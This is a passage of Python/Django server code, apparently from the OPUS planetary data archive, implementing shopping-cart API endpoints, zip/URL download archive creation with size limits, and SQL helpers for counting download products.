(?Padd|remove|addrange|removerange|addall).json\n Arguments: opusid= (add, remove)\n range=, (addrange, removerange)\n recyclebin=0/1 (remove, removerange, addall)\n reqno=\n [download=]\n\n Returns the new number of items in the cart.\n If download=1, also returns all the data returned by\n /__cart/status.json\n\n State transitions:\n\n add/addrange (recyclebin option ignored):\n Not previously in cart Add to cart recycled=0\n Previously in cart recycled=0 No effect\n Previously in cart recycled=1 Set recycled=0\n Bad opus_id Error\n\n addall recyclebin=0 (this means to take \"all\" from browse results or cart\n depending on \"view=\")\n Not previously in cart Add to cart recycled=0\n Previously in cart recycled=0 No effect\n Previously in cart recycled=1 Set recycled=0\n\n addall recyclebin=1 (this means to take \"all\" from browse results or\n cart+recycle bin depending on \"view=\")\n Not previously in cart Add to cart recycled=0\n Previously in cart recycled=0 No effect\n Previously in cart recycled=1 Set recycled=0\n\n remove/removerange recyclebin=0\n Not in cart No effect\n In cart recycled=0 Remove from cart\n In cart recycled=1 Remove from cart\n Bad opus_id No effect\n\n remove/removerange recyclebin=1\n Not in cart No effect\n In cart recycled=0 Set recycled=1\n In cart recycled=1 No effect\n Bad opus_id Error\n\n For addrange/removerange/addall, if view=browse then the search parameters\n are used to determine the opus_ids to operate on. If view=cart then the\n entire cart is used (with the current sort order).\n\n For addall, view=browse and view=cart change the source of \"all\".\n For view=browse, ?recyclebin is ignored. For view=cart, recyclebin is\n used to decide if only observations in the cart, or observations in the\n cart+recycle bin, are used. This means that:\n addall.json?view=cart&recyclebin=1\n can be used to move everything from the recycle bin back into the main cart.\n \"\"\"\n api_code = enter_api_call('api_edit_cart', request)\n\n if not request or request.GET is None:\n ret = Http404(HTTP404_NO_REQUEST(f'/__cart/{action}.json'))\n exit_api_call(api_code, ret)\n raise ret\n\n session_id = get_session_id(request)\n\n reqno = get_reqno(request)\n if reqno is None or throw_random_http404_error():\n log.error('api_edit_cart: Missing or badly formatted reqno: %s',\n request.GET)\n ret = Http404(HTTP404_BAD_OR_MISSING_REQNO(request))\n exit_api_call(api_code, ret)\n raise ret\n\n opus_id = None\n if action in ('add', 'remove'):\n opus_id = request.GET.get('opusid', None)\n if (not opus_id or\n throw_random_http404_error()): # Also catches empty string\n log.error('api_edit_cart: Missing opusid: %s',\n request.GET)\n ret = Http404(HTTP404_MISSING_OPUS_ID(request))\n exit_api_call(api_code, ret)\n raise ret\n opus_id = opus_id.split(',')\n\n recycle_bin = request.GET.get('recyclebin', 0)\n try:\n recycle_bin = int(recycle_bin)\n if throw_random_http404_error(): # pragma: no cover\n raise ValueError\n except:\n log.error('api_edit_cart: Bad value for recyclebin %s: %s', recycle_bin,\n request.GET)\n ret = Http404(HTTP404_BAD_RECYCLEBIN(recycle_bin, request))\n exit_api_call(api_code, ret)\n raise ret\n\n if action == 'add':\n err = _add_to_cart_table(opus_id, session_id, api_code)\n elif action == 'remove':\n err = _remove_from_cart_table(opus_id, session_id, recycle_bin,\n api_code)\n elif action in ('addrange', 'removerange'):\n err = _edit_cart_range(request, session_id, action, recycle_bin,\n api_code)\n elif action == 'addall':\n err = _edit_cart_addall(request, session_id, recycle_bin, api_code)\n else: # pragma: no cover\n log.error('api_edit_cart: Unknown action %s: %s', action,\n request.GET)\n ret = HttpResponseServerError(HTTP500_INTERNAL_ERROR(request))\n exit_api_call(api_code, ret)\n return ret\n\n if isinstance(err, HttpResponse):\n exit_api_call(api_code, err)\n return err\n\n download = request.GET.get('download', 0)\n try:\n download = int(download)\n except:\n pass\n if download:\n product_types_str = request.GET.get('types', 'all')\n product_types = product_types_str.split(',')\n info = _get_download_info(product_types, session_id)\n else:\n info = {}\n\n count, recycled_count = get_cart_count(session_id, recycled=True)\n\n info['error'] = err\n info['count'] = count\n info['recycled_count'] = recycled_count\n info['reqno'] = reqno\n\n ret = json_response(info)\n exit_api_call(api_code, ret)\n return ret\n\n\n@never_cache\ndef api_reset_session(request):\n \"\"\"Remove everything from the cart and reset the session.\n\n This is a PRIVATE API.\n\n Format: __cart/reset.json\n Arguments: reqno=\n recyclebin=0/1\n [download=]\n\n Returns dict containing:\n In all cases:\n 'count': Total number of items in cart NOT in\n recycle bin\n 'recycled_count': Total number of items in cart IN\n recycle bin\n\n If download=1:\n 'total_download_count': Total number of unique files\n 'total_download_size': Total size of unique files (bytes)\n 'total_download_size_pretty': Total size of unique files (pretty format)\n 'product_cat_list': List of categories and info:\n [\n [,\n [{'slug_name': Like \"browse-thumb\"\n 'product_type': Like \"Browse Image (thumbnail)\"\n 'product_count': Number of opus_ids in this category\n 'download_count': Number of unique files in this category\n 'download_size': Size of unique files in this category\n (bytes)\n 'download_size_pretty': Size of unique files in this category\n (pretty format)\n }\n ], ...\n ], ...\n ]\n\n\n \"\"\"\n api_code = enter_api_call('api_reset_session', request)\n\n if not request or request.GET is None:\n ret = Http404(HTTP404_NO_REQUEST('/__cart/reset.json'))\n exit_api_call(api_code, ret)\n raise ret\n\n session_id = get_session_id(request)\n\n reqno = get_reqno(request)\n if reqno is None or throw_random_http404_error():\n log.error('api_reset_session: Missing or badly formatted reqno')\n ret = Http404(HTTP404_BAD_OR_MISSING_REQNO(request))\n exit_api_call(api_code, ret)\n raise ret\n\n recycle_bin = request.GET.get('recyclebin', 0)\n try:\n recycle_bin = int(recycle_bin)\n if throw_random_http404_error(): # pragma: no cover\n raise ValueError\n except:\n log.error('api_reset_session: Bad value for recyclebin %s: %s',\n recycle_bin, request.GET)\n ret = Http404(HTTP404_BAD_RECYCLEBIN(recycle_bin, request))\n exit_api_call(api_code, ret)\n raise ret\n\n sql = 'DELETE FROM '+connection.ops.quote_name('cart')\n sql += ' WHERE session_id=%s'\n values = [session_id]\n if recycle_bin:\n sql += ' AND recycled=1'\n log.debug('api_reset_session SQL: %s %s', sql, values)\n cursor = connection.cursor()\n cursor.execute(sql, values)\n\n download = request.GET.get('download', 0)\n try:\n download = int(download)\n except:\n pass\n if download:\n product_types_str = request.GET.get('types', 'all')\n product_types = product_types_str.split(',')\n info = _get_download_info(product_types, session_id)\n else:\n info = {}\n\n count, recycled_count = get_cart_count(session_id, recycled=True)\n\n info['count'] = count\n info['recycled_count'] = recycled_count\n info['reqno'] = reqno\n ret = json_response(info)\n exit_api_call(api_code, ret)\n return ret\n\n\n@never_cache\ndef api_create_download(request, opus_id=None):\n \"\"\"Creates a zip file of all items in the cart or the given OPUS ID.\n\n This is a PRIVATE API.\n\n Format: __cart/download.json\n or: [__]api/download/(?P[-\\w]+).zip\n Arguments: types=\n urlonly=1 (optional) means to not zip the actual data products\n \"\"\"\n api_code = enter_api_call('api_create_download', request)\n\n if not request or request.GET is None:\n if opus_id:\n ret = Http404(HTTP404_NO_REQUEST(f'/api/download/{opus_id}.zip'))\n else:\n ret = Http404(HTTP404_NO_REQUEST('/__cart/download.json'))\n exit_api_call(api_code, ret)\n raise ret\n\n url_file_only = request.GET.get('urlonly', 0)\n\n session_id = get_session_id(request)\n\n product_types = request.GET.get('types', 'all')\n if product_types is None or product_types == '':\n product_types = []\n else:\n product_types = product_types.split(',')\n\n if opus_id:\n opus_ids = [opus_id]\n return_directly = True\n else:\n num_selections = (Cart.objects\n .filter(session_id__exact=session_id)\n .filter(recycled=0)\n .count())\n if url_file_only:\n max_selections = settings.MAX_SELECTIONS_FOR_URL_DOWNLOAD\n if num_selections > max_selections:\n ret = json_response({'error':\n f'You are attempting to download more than the maximum '\n +f'permitted number ({max_selections}) of observations in '\n +f'a URL archive. Please reduce the number of '\n +f'observations you are trying to download.'})\n exit_api_call(api_code, ret)\n return ret\n else:\n max_selections = settings.MAX_SELECTIONS_FOR_DATA_DOWNLOAD\n if num_selections > max_selections:\n ret = json_response({'error':\n f'You are attempting to download more than the maximum '\n +f'permitted number ({max_selections}) of observations in '\n +f'a data archive. Please either reduce the number of '\n +f'observations you are trying to download or download a '\n +f'URL archive instead and then retrieve the data products '\n +f'using \"wget\".'})\n exit_api_call(api_code, ret)\n return ret\n res = (Cart.objects\n .filter(session_id__exact=session_id)\n .filter(recycled=0)\n .values_list('opus_id'))\n opus_ids = [x[0] for x in res]\n return_directly = False\n\n if not opus_ids:\n if return_directly:\n raise Http404(HTTP404_MISSING_OPUS_ID(request))\n else:\n ret = json_response({'error': 'No observations selected'})\n exit_api_call(api_code, ret)\n return ret\n\n # Fetch the full file info of the files we'll be zipping up\n # We want the raw objects so we can get the checksum as well as the\n # abspath\n files = get_pds_products(opus_ids, loc_type='raw',\n product_types=product_types)\n\n zip_base_file_name = _zip_filename(opus_id, url_file_only)\n zip_root = zip_base_file_name.split('.')[0]\n zip_file_name = settings.TAR_FILE_PATH + zip_base_file_name\n chksum_file_name = settings.TAR_FILE_PATH + f'checksum_{zip_root}.txt'\n manifest_file_name = settings.TAR_FILE_PATH + f'manifest_{zip_root}.txt'\n csv_file_name = settings.TAR_FILE_PATH + f'csv_{zip_root}.txt'\n url_file_name = settings.TAR_FILE_PATH + f'url_{zip_root}.txt'\n\n _create_csv_file(request, csv_file_name, opus_id, api_code=api_code)\n\n # Don't create download if the resultant zip file would be too big\n if not url_file_only:\n info = _get_download_info(product_types, session_id)\n download_size = info['total_download_size']\n if download_size > settings.MAX_DOWNLOAD_SIZE:\n ret = json_response({'error':\n 'Sorry, this download would require '\n +'{:,}'.format(download_size)\n +' bytes but the maximum allowed is '\n +'{:,}'.format(settings.MAX_DOWNLOAD_SIZE)\n +' bytes. Please either reduce the number of '\n +f'observations you are trying to download, reduce the number '\n +f'of data products for each observation, or download a URL '\n +f'archive instead and then retrieve the data products using '\n +f'\"wget\".'})\n exit_api_call(api_code, ret)\n return ret\n\n # Don't keep creating downloads after user has reached their size limit\n # for this session\n cum_download_size = request.session.get('cum_download_size', 0)\n cum_download_size += download_size\n if cum_download_size > settings.MAX_CUM_DOWNLOAD_SIZE:\n ret = json_response({'error':\n 'Sorry, maximum cumulative download size ('\n +'{:,}'.format(settings.MAX_CUM_DOWNLOAD_SIZE)\n +' bytes) reached for this session'})\n exit_api_call(api_code, ret)\n return ret\n request.session['cum_download_size'] = int(cum_download_size)\n\n # Add each file to the new zip file and create a manifest too\n if return_directly:\n response = HttpResponse(content_type='application/zip')\n zip_file = zipfile.ZipFile(response, mode='w')\n else:\n zip_file = zipfile.ZipFile(zip_file_name, mode='w')\n chksum_fp = open(chksum_file_name, 'w')\n manifest_fp = open(manifest_file_name, 'w')\n url_fp = open(url_file_name, 'w')\n\n errors = []\n added = []\n for f_opus_id in files:\n if 'Current' not in files[f_opus_id]:\n continue\n files_version = files[f_opus_id]['Current']\n for product_type in files_version:\n for file_data in files_version[product_type]:\n path = file_data['path']\n url = file_data['url']\n checksum = file_data['checksum']\n pretty_name = path.split('/')[-1]\n digest = f'{pretty_name}:{checksum}'\n mdigest = f'{f_opus_id}:{pretty_name}'\n\n if pretty_name not in added:\n chksum_fp.write(digest+'\\n')\n manifest_fp.write(mdigest+'\\n')\n url_fp.write(url+'\\n')\n filename = os.path.basename(path)\n if not url_file_only:\n try:\n zip_file.write(path, arcname=filename)\n except Exception as e:\n log.error(\n 'api_create_download threw exception for opus_id %s, product_type %s, '\n +'file %s, pretty_name %s: %s',\n f_opus_id, product_type, path, pretty_name, str(e))\n errors.append('Error adding: ' + pretty_name)\n added.append(pretty_name)\n\n # Write errors to manifest file\n if errors:\n manifest_fp.write('Errors:\\n')\n for e in errors:\n manifest_fp.write(e+'\\n')\n\n # Add manifests and checksum files to tarball and close everything up\n manifest_fp.close()\n chksum_fp.close()\n url_fp.close()\n zip_file.write(chksum_file_name, arcname='checksum.txt')\n zip_file.write(manifest_file_name, arcname='manifest.txt')\n zip_file.write(csv_file_name, arcname='data.csv')\n zip_file.write(url_file_name, arcname='urls.txt')\n zip_file.close()\n\n os.remove(chksum_file_name)\n os.remove(manifest_file_name)\n os.remove(csv_file_name)\n os.remove(url_file_name)\n\n if return_directly:\n response['Content-Disposition'] = f'attachment; filename={zip_base_file_name}'\n ret = response\n else:\n zip_url = settings.TAR_FILE_URL_PATH + zip_base_file_name\n ret = json_response({'filename': zip_url})\n\n exit_api_call(api_code, '')\n return ret\n\n\n################################################################################\n#\n# Support routines - get information\n#\n################################################################################\n\ndef _get_download_info(product_types, session_id):\n \"\"\"Return information about the current cart useful for download.\n\n The resulting totals are limited to the given product_types.\n ['all'] means return all product_types.\n Product types for items in the recycle bin are returned with values of 0.\n\n Returns dict containing:\n 'total_download_count': Total number of unique files\n 'total_download_size': Total size of unique files (bytes)\n 'total_download_size_pretty': Total size of unique files (pretty format)\n 'product_cat_list': List of categories and info:\n [\n [,\n [{'slug_name': Like \"browse-thumb\"\n 'product_type': Like \"Browse Image (thumbnail)\"\n 'tooltip': User-friendly tooltip, if any\n 'product_count': Number of opus_ids in this category\n 'download_count': Number of unique files in this category\n 'download_size': Size of unique files in this category\n (bytes)\n 'download_size_pretty': Size of unique files in this category\n (pretty format)\n }\n ], ...\n ], ...\n ]\n \"\"\"\n cursor = connection.cursor()\n q = connection.ops.quote_name\n\n values = []\n sql = 'SELECT DISTINCT '\n\n # Retrieve the distinct list of product types for all observations, including the ones in the\n # recycle bin. This is used to allow the items on the cart to be added/removed from the recycle bin\n # and update the download data panel without redrawing the cart page on every edit.\n sql += q('obs_files')+'.'+q('category')+' AS '+q('cat')+', '\n sql += q('obs_files')+'.'+q('sort_order')+' AS '+q('sort')+', '\n sql += q('obs_files')+'.'+q('short_name')+' AS '+q('short')+', '\n sql += q('obs_files')+'.'+q('full_name')+' AS '+q('full')\n sql += 'FROM '+q('obs_files')+' '\n sql += 'INNER JOIN '+q('cart')+' ON '\n sql += q('cart')+'.'+q('obs_general_id')+'='\n sql += q('obs_files')+'.'+q('obs_general_id')+' '\n sql += 'WHERE '+q('cart')+'.'+q('session_id')+'=%s '\n values.append(session_id)\n sql += 'ORDER BY '+q('sort')\n\n log.debug('_get_download_info SQL DISTINCT product_type list: %s %s', sql, values)\n cursor.execute(sql, values)\n\n results = cursor.fetchall()\n\n product_cats = []\n product_cat_list = []\n product_dict_by_short_name = {}\n\n for res in results:\n (category, sort_order, short_name, full_name) = res\n\n pretty_name = category\n if category == 'standard':\n pretty_name = 'Standard Data Products'\n elif category == 'metadata':\n pretty_name = 'Metadata Products'\n elif category == 'browse':\n pretty_name = 'Browse Products'\n elif category == 'diagram':\n pretty_name = 'Diagram Products'\n else:\n pretty_name = category + '-Specific Products'\n key = (category, pretty_name)\n if key not in product_cats:\n product_cats.append(key)\n cur_product_list = []\n product_cat_list.append((pretty_name, cur_product_list))\n try:\n entry = Definitions.objects.get(context__name='OPUS_PRODUCT_TYPE',\n term=short_name)\n tooltip = entry.definition\n except Definitions.DoesNotExist:\n log.error('No tooltip definition for OPUS_PRODUCT_TYPE \"%s\"',\n short_name)\n tooltip = None\n product_dict_entry = {\n 'slug_name': short_name,\n 'tooltip': tooltip,\n 'product_type': full_name,\n 'product_count': 0,\n 'download_count': 0,\n 'download_size': 0,\n 'download_size_pretty': 0\n }\n cur_product_list.append(product_dict_entry)\n product_dict_by_short_name[short_name] = product_dict_entry\n\n\n# SELECT obs_files.short_name,\n# count(distinct obs_files.opus_id) as product_count,\n# count(distinct obs_files.logical_path) as download_count,\n# t2.download_size as downloadsize\n# FROM obs_files,\n#\n# (SELECT t1.short_name, sum(t1.size) as download_size\n# FROM (SELECT DISTINCT obs_files.short_name, obs_files.logical_path, obs_files.size\n# FROM obs_files\n# WHERE opus_id IN ('co-iss-n1460960653', 'co-iss-n1460960868')\n# ) as t1\n# GROUP BY t1.short_name\n# ) as t2\n# WHERE obs_files.short_name=t2.short_name\n# AND obs_files.opus_id in ('co-iss-n1460960653', 'co-iss-n1460960868')\n# GROUP BY obs_files.category, obs_files.sort_order, obs_files.short_name, t2.download_size\n# ORDER BY sort_order;\n values = []\n sql = 'SELECT '\n\n # For a given short_name, the category, sort_order, and full_name are\n # always the same. Thus we can group by all four and it's the same as\n # grouping by just short_name. We need them all here to return to the user.\n sql += q('obs_files')+'.'+q('category')+' AS '+q('cat')+', '\n sql += q('obs_files')+'.'+q('sort_order')+' AS '+q('sort')+', '\n sql += q('obs_files')+'.'+q('short_name')+' AS '+q('short')+', '\n sql += q('obs_files')+'.'+q('full_name')+' AS '+q('full')+', '\n\n # download_size is the total sizes of all distinct filenames\n # Note there is only one download_size per short_name, so when we add\n # download_size to the GROUP BY later, we aren't actually aggregating\n # anything.\n sql += q('t2')+'.'+q('download_size')+' AS '+q('download_size')+', '\n\n # download_count is the number of distinct filenames\n sql += 'COUNT(DISTINCT '+q('obs_files')+'.'+q('logical_path')+') AS '\n sql += q('download_count')+', '\n\n # product_count is the number of distinct OPUS_IDs in each group\n sql += 'COUNT(DISTINCT '+q('obs_files')+'.'+q('obs_general_id')+') AS '\n sql += q('product_count')+' '\n\n sql += 'FROM '\n\n # Nested SELECT #1\n sql += '(SELECT '+q('t1')+'.'+q('short_name')+', '\n sql += 'SUM('+q('t1')+'.'+q('size')+') AS '+q('download_size')+' '\n sql += 'FROM '\n\n # Nested SELECT #2\n sql += '(SELECT DISTINCT '+q('obs_files')+'.'+q('short_name')+', '\n sql += q('obs_files')+'.'+q('logical_path')+', '\n sql += q('obs_files')+'.'+q('size')+' '\n sql += 'FROM '+q('obs_files')+' '\n sql += 'INNER JOIN '+q('cart')+' ON '\n sql += q('cart')+'.'+q('obs_general_id')+'='\n sql += q('obs_files')+'.'+q('obs_general_id')+' '\n sql += 'WHERE '+q('cart')+'.'+q('session_id')+'=%s '\n values.append(session_id)\n sql += 'AND '+q('cart')+'.'+q('recycled')+'=0 '\n sql += 'AND '+q('obs_files')+'.'+q('version_number')+' >= 900000'\n sql += ') AS '+q('t1')+' '\n # End of nested SELECT #2\n\n # Back to nested SELECT #1\n sql += 'GROUP BY '+q('t1')+'.'+q('short_name')\n sql += ') AS '+q('t2')+', '\n # End of nested SELECT #1\n\n sql += q('obs_files')+' '\n sql += 'INNER JOIN '+q('cart')+' ON '\n sql += q('cart')+'.'+q('obs_general_id')+'='\n sql += q('obs_files')+'.'+q('obs_general_id')+' '\n sql += 'WHERE '+q('cart')+'.'+q('session_id')+'=%s '\n values.append(session_id)\n sql += 'AND '+q('cart')+'.'+q('recycled')+'=0 '\n sql += 'AND '+q('obs_files')+'.'+q('short_name')+'='\n sql += q('t2')+'.'+q('short_name')+' '\n sql += 'AND '+q('obs_files')+'.'+q('version_number')+' >= 900000 '\n\n sql += 'GROUP BY '+q('cat')+', '+q('sort')+', '\n sql += q('short')+', '+q('full')+' '\n sql += 'ORDER BY '+q('sort')\n\n log.debug('_get_download_info SQL: %s %s', sql, values)\n cursor.execute(sql, values)\n\n results = cursor.fetchall()\n\n total_download_size = 0\n total_download_count = 0\n\n for res in results:\n (category, sort_order, short_name, full_name,\n download_size, download_count, product_count) = res\n download_size = int(download_size)\n download_count = int(download_count)\n product_count = int(product_count)\n if product_types == ['all'] or short_name in product_types:\n total_download_size += download_size\n total_download_count += download_count\n\n product_dict_by_short_name[short_name]['product_count'] = product_count\n product_dict_by_short_name[short_name]['download_count'] = download_count\n product_dict_by_short_name[short_name]['download_size'] = download_size\n product_dict_by_short_name[short_name]['download_size_pretty'] = nice_file_size(download_size)\n\n ret = {\n 'total_download_count': total_download_count,\n 'total_download_size': total_download_size,\n 'total_download_size_pretty': nice_file_size(total_download_size),\n 'product_cat_list': product_cat_list\n }\n\n return ret\n\n\n################################################################################\n#\n# Support routines - add or remove items from cart\n#\n################################################################################\n\ndef _add_to_cart_table(opus_id_list, session_id, api_code):\n \"\"\"Add OPUS_IDs to the cart table.\n\n Note that we don't care here if the caller set recyclebin=0 or 1 because\n we always do the same operation - put or replace the item in the cart\n with recycled=0.\n \"\"\"\n cursor = connection.cursor()\n if not isinstance(opus_id_list, (list, tuple)):\n opus_id_list = [opus_id_list]\n general_res = (ObsGeneral.objects.filter(opus_id__in=opus_id_list)\n .values_list('opus_id', 'id'))\n if len(general_res) != len(opus_id_list):\n # There are a few things this misses - empty opus_ids and duplicate\n # opus_ids will return this same error. But it doesn't seem worth\n # trying to catch those for an internal API.\n return (f'Internal Error: One or more OPUS_IDs not found; '\n +'nothing added to cart')\n\n num_cart_and_recycle = (Cart.objects\n .filter(session_id__exact=session_id)\n .count())\n\n # Subtract out the number of observations already in the cart, whether in\n # the recycle bin or not, since these won't count towards the total.\n incart_count = (Cart.objects\n .filter(session_id__exact=session_id)\n .filter(opus_id__in=opus_id_list)\n .count())\n\n if (num_cart_and_recycle+len(general_res)-incart_count >\n settings.MAX_SELECTIONS_ALLOWED):\n if len(general_res) == 1:\n return (f'Your request to add OPUS ID {opus_id_list[0]} to the '\n +f'cart failed - there are already too many observations '\n +f'in the cart and recycle bin. The maximum allowed is '\n +f'{settings.MAX_SELECTIONS_ALLOWED:,d}.')\n else:\n return (f'Your request to add multiple OPUS IDs to the cart failed '\n +f'- there are already too many observations in the cart '\n +f'and recycle bin. The maximum allowed is '\n +f'{settings.MAX_SELECTIONS_ALLOWED:,d}.')\n\n # We use REPLACE INTO to avoid problems with duplicate entries or\n # race conditions that would be caused by deleting first and then adding.\n # Note that REPLACE INTO only works because we have a constraint on the\n # cart table that makes the (session_id,obs_general_id) fields into a unique\n # key.\n # If the observation is already in the cart but in the recycle bin, this\n # will override that entry and set the recycled field to 0.\n values = [(session_id, id, opus_id, 0) for opus_id, id in general_res]\n q = connection.ops.quote_name\n sql = 'REPLACE INTO '+q('cart')+' ('+q('session_id')+','\n sql += q('obs_general_id')+','+q('opus_id')+','+q('recycled')+')'\n sql += ' VALUES (%s, %s, %s, %s)'\n log.debug('_add_to_cart_table SQL: %s %s', sql, values)\n cursor.executemany(sql, values)\n\n return False\n\ndef _remove_from_cart_table(opus_id_list, session_id, recycle_bin, api_code):\n \"\"\"Remove OPUS_IDs from the cart table.\n\n If recycle_bin is True, then remove moves an observation into the\n recycle bin, even if it was already there. If recycle_bin is False,\n then remove deletes the entry completely.\n \"\"\"\n cursor = connection.cursor()\n if not isinstance(opus_id_list, (list, tuple)):\n opus_id_list = [opus_id_list]\n q = connection.ops.quote_name\n if recycle_bin:\n # If the recycle_bin flag is set, then this updates the existing entries\n # in the cart table to set recycled=1.\n res = (Cart.objects\n .filter(session_id__exact=session_id)\n .filter(opus_id__in=opus_id_list)\n .values_list('opus_id', 'obs_general_id'))\n if len(res) != len(opus_id_list):\n return (f'Internal Error: One or more OPUS_IDs not found; '\n +'nothing removed from cart')\n values = [(session_id, obs_general_id, opus_id, 1)\n for opus_id, obs_general_id in res]\n sql = 'REPLACE INTO '+q('cart')+' ('+q('session_id')+','\n sql += q('obs_general_id')+','+q('opus_id')+','+q('recycled')+')'\n sql += ' VALUES (%s, %s, %s, %s)'\n log.debug('_remove_from_cart_table SQL: %s %s', sql, values)\n cursor.executemany(sql, values)\n else:\n # Otherwise we remove the entries completely.\n values = (session_id, [opus_id for opus_id in opus_id_list])\n sql = 'DELETE FROM '+q('cart')\n sql += ' WHERE session_id=%s AND opus_id IN %s'\n log.debug('_remove_from_cart_table SQL: %s %s', sql, values)\n cursor.execute(sql, values)\n return False\n\ndef _edit_cart_range(request, session_id, action, recycle_bin, api_code):\n \"Add or remove a range of opus_ids based on the current sort order.\"\n id_range = request.GET.get('range', False)\n if not id_range or throw_random_http404_error():\n log.error('_edit_cart_range: No range given: %s', request.GET)\n ret = Http404(HTTP404_BAD_OR_MISSING_RANGE(request))\n exit_api_call(api_code, ret)\n raise ret\n\n ids = id_range.split(',')\n if (len(ids) != 2 or not ids[0] or not ids[1] or\n throw_random_http404_error()):\n log.error('_edit_cart_range: Bad range format: %s', request.GET)\n ret = Http404(HTTP404_BAD_OR_MISSING_RANGE(request))\n exit_api_call(api_code, ret)\n raise ret\n\n q = connection.ops.quote_name\n\n temp_table_name = None\n\n if request.GET.get('view', 'browse') == 'cart':\n # This is for the cart page - we don't have any pre-done sort order\n # so we have to do it ourselves here\n all_order = request.GET.get('order', settings.DEFAULT_SORT_ORDER)\n if not all_order:\n all_order = settings.DEFAULT_SORT_ORDER\n order_params, order_descending_params = parse_order_slug(all_order)\n (order_sql, order_mult_tables,\n order_obs_tables) = create_order_by_sql(order_params,\n order_descending_params)\n\n cursor = connection.cursor()\n\n # First we create a temporary table that contains the ids of\n # observations in the cart, appropriately sorted, with a unique\n # incrementing sort_id. This is just like a user_query_table, but\n # short-lived, and we use it in the same way.\n pid_sfx = str(os.getpid())\n time1 = time.time()\n time_sfx = ('%.6f' % time1).replace('.', '_')\n params = []\n temp_table_name = 'temp_'+session_id+'_'+pid_sfx+'_'+time_sfx\n temp_sql = 'CREATE TEMPORARY TABLE '+q(temp_table_name)\n temp_sql += '(sort_order INT NOT NULL AUTO_INCREMENT, '\n temp_sql += 'PRIMARY KEY(sort_order), id INT UNSIGNED, '\n temp_sql += 'UNIQUE KEY(id)) SELECT '\n temp_sql += q('obs_general')+'.'+q('id')\n # Now JOIN all the obs_ tables together\n temp_sql += ' FROM '+q('obs_general')\n for table in sorted(order_obs_tables):\n if table == 'obs_general':\n continue\n temp_sql += ' LEFT JOIN '+q(table)+' ON '+q('obs_general')+'.'+q('id')\n temp_sql += '='+q(table)+'.'+q('obs_general_id')\n # And JOIN all the mult_ tables together\n for mult_table, category in sorted(order_mult_tables):\n temp_sql += ' LEFT JOIN '+q(mult_table)+' ON '+q(category)+'.'\n temp_sql += q(mult_table)+'='+q(mult_table)+'.'+q('id')\n temp_sql += ' INNER JOIN '+q('cart')\n temp_sql += ' ON '+q('obs_general')+'.'+q('id')+'='\n temp_sql += q('cart')+'.'+q('obs_general_id')\n temp_sql += ' AND '\n temp_sql += q('cart')+'.'+q('session_id')+'=%s'\n params.append(session_id)\n temp_sql += order_sql\n try:\n cursor.execute(temp_sql, params)\n if throw_random_http500_error(): # pragma: no cover\n raise DatabaseError('random')\n except DatabaseError as e:\n log.error('_edit_cart_range: \"%s\" \"%s\" returned %s',\n temp_sql, params, str(e))\n ret = HttpResponseServerError(HTTP500_DATABASE_ERROR(request))\n return ret\n log.debug('_edit_cart_range SQL (%.2f secs): %s %s',\n time.time()-time1, temp_sql, params)\n\n user_query_table = temp_table_name\n else:\n # This is for the browse page - everything is based on the\n # user_query_table\n\n # Find the index in the cache table for the min and max opus_ids\n\n (selections, extras) = url_to_search_params(request.GET)\n if selections is None or throw_random_http404_error():\n log.error('_edit_cart_range: Could not find selections for'\n +' request %s', request.GET)\n ret = Http404(HTTP404_SEARCH_PARAMS_INVALID(request))\n exit_api_call(api_code, ret)\n raise ret\n\n user_query_table = get_user_query_table(selections, extras,\n api_code=api_code)\n if not user_query_table or throw_random_http500_error():\n log.error('_edit_cart_range: get_user_query_table failed '\n +'*** Selections %s *** Extras %s',\n str(selections), str(extras))\n ret = HttpResponseServerError(HTTP500_SEARCH_CACHE_FAILED(request))\n return ret\n\n cursor = connection.cursor()\n\n sort_orders = []\n for opus_id in ids:\n sql = 'SELECT '+q('sort_order')+' FROM '+q('obs_general')\n # INNER JOIN because we only want rows that exist in the\n # user_query_table\n sql += ' INNER JOIN '+q(user_query_table)+' ON '\n sql += q(user_query_table)+'.'+q('id')+'='\n sql += q('obs_general')+'.'+q('id')\n sql += ' WHERE '+q('obs_general')+'.'+q('opus_id')+'=%s'\n values = [opus_id]\n log.debug('_edit_cart_range SQL: %s %s', sql, values)\n cursor.execute(sql, values)\n results = cursor.fetchall()\n if len(results) == 0:\n log.error('_edit_cart_range: No OPUS ID \"%s\" in obs_general',\n opus_id)\n if request.GET.get('view', 'browse') == 'cart':\n return (f'An OPUS ID was given to {action} that was not found '\n +'in the cart')\n else:\n return (f'An OPUS ID was given to {action} that was not found '\n +'using the supplied search criteria')\n sort_orders.append(results[0][0])\n\n sql_where = ' WHERE '\n sql_where += q(user_query_table)+'.'+q('sort_order')\n sql_where += ' >= '+str(min(sort_orders))+' AND '\n sql_where += q(user_query_table)+'.'+q('sort_order')\n sql_where += ' <= '+str(max(sort_orders))\n\n if action == 'addrange' or (action == 'removerange' and recycle_bin):\n num_cart_and_recycle = (Cart.objects\n .filter(session_id__exact=session_id)\n .count())\n\n sql_from_params = []\n sql_from = ' FROM '+q('obs_general')\n # INNER JOIN because we only want rows that exist in the\n # user_query_table\n sql_from += ' INNER JOIN '+q(user_query_table)+' ON '\n sql_from += q(user_query_table)+'.'+q('id')+'='\n sql_from += q('obs_general')+'.'+q('id')\n\n # Optionally restrict to observations already in the cart\n sql_incart_params = []\n sql_incart = ''\n sql_incart += ' INNER JOIN '+q('cart')+' ON '\n sql_incart += q('cart')+'.'+q('session_id')+'=%s AND '\n sql_incart_params.append(session_id)\n sql_incart += q('cart')+'.'+q('obs_general_id')+'='\n sql_incart += q('obs_general')+'.'+q('id')\n if action == 'removerange':\n sql_from += sql_incart\n sql_from_params += sql_incart_params\n\n if not recycle_bin:\n # We don't want to check the maximum when moving items to or from\n # the recycle bin because they go towards the same maximum either\n # way. So we should be left here with just:\n # action == 'addrange' and not recycle_bin\n assert action == 'addrange' and not recycle_bin\n\n # Count the number of observations we're going to add\n sql = 'SELECT COUNT(*)'+sql_from+sql_where\n try:\n cursor.execute(sql, sql_from_params)\n num_new = cursor.fetchone()[0]\n if throw_random_http500_error(): # pragma: no cover\n raise DatabaseError('random')\n except DatabaseError as e: # pragma: no cover\n log.error('_edit_cart_range: SQL query failed for request %s: '\n +' SQL \"%s\" ERR \"%s\"', request.GET, sql, e)\n ret = HttpResponseServerError(HTTP500_DATABASE_ERROR(request))\n return ret\n\n # Subtract the number of observations that are already in the cart\n sql = 'SELECT COUNT(*)'+sql_from+sql_incart+sql_where\n try:\n cursor.execute(sql, sql_from_params+sql_incart_params)\n num_old = cursor.fetchone()[0]\n if throw_random_http500_error(): # pragma: no cover\n raise DatabaseError('random')\n except DatabaseError as e: # pragma: no cover\n 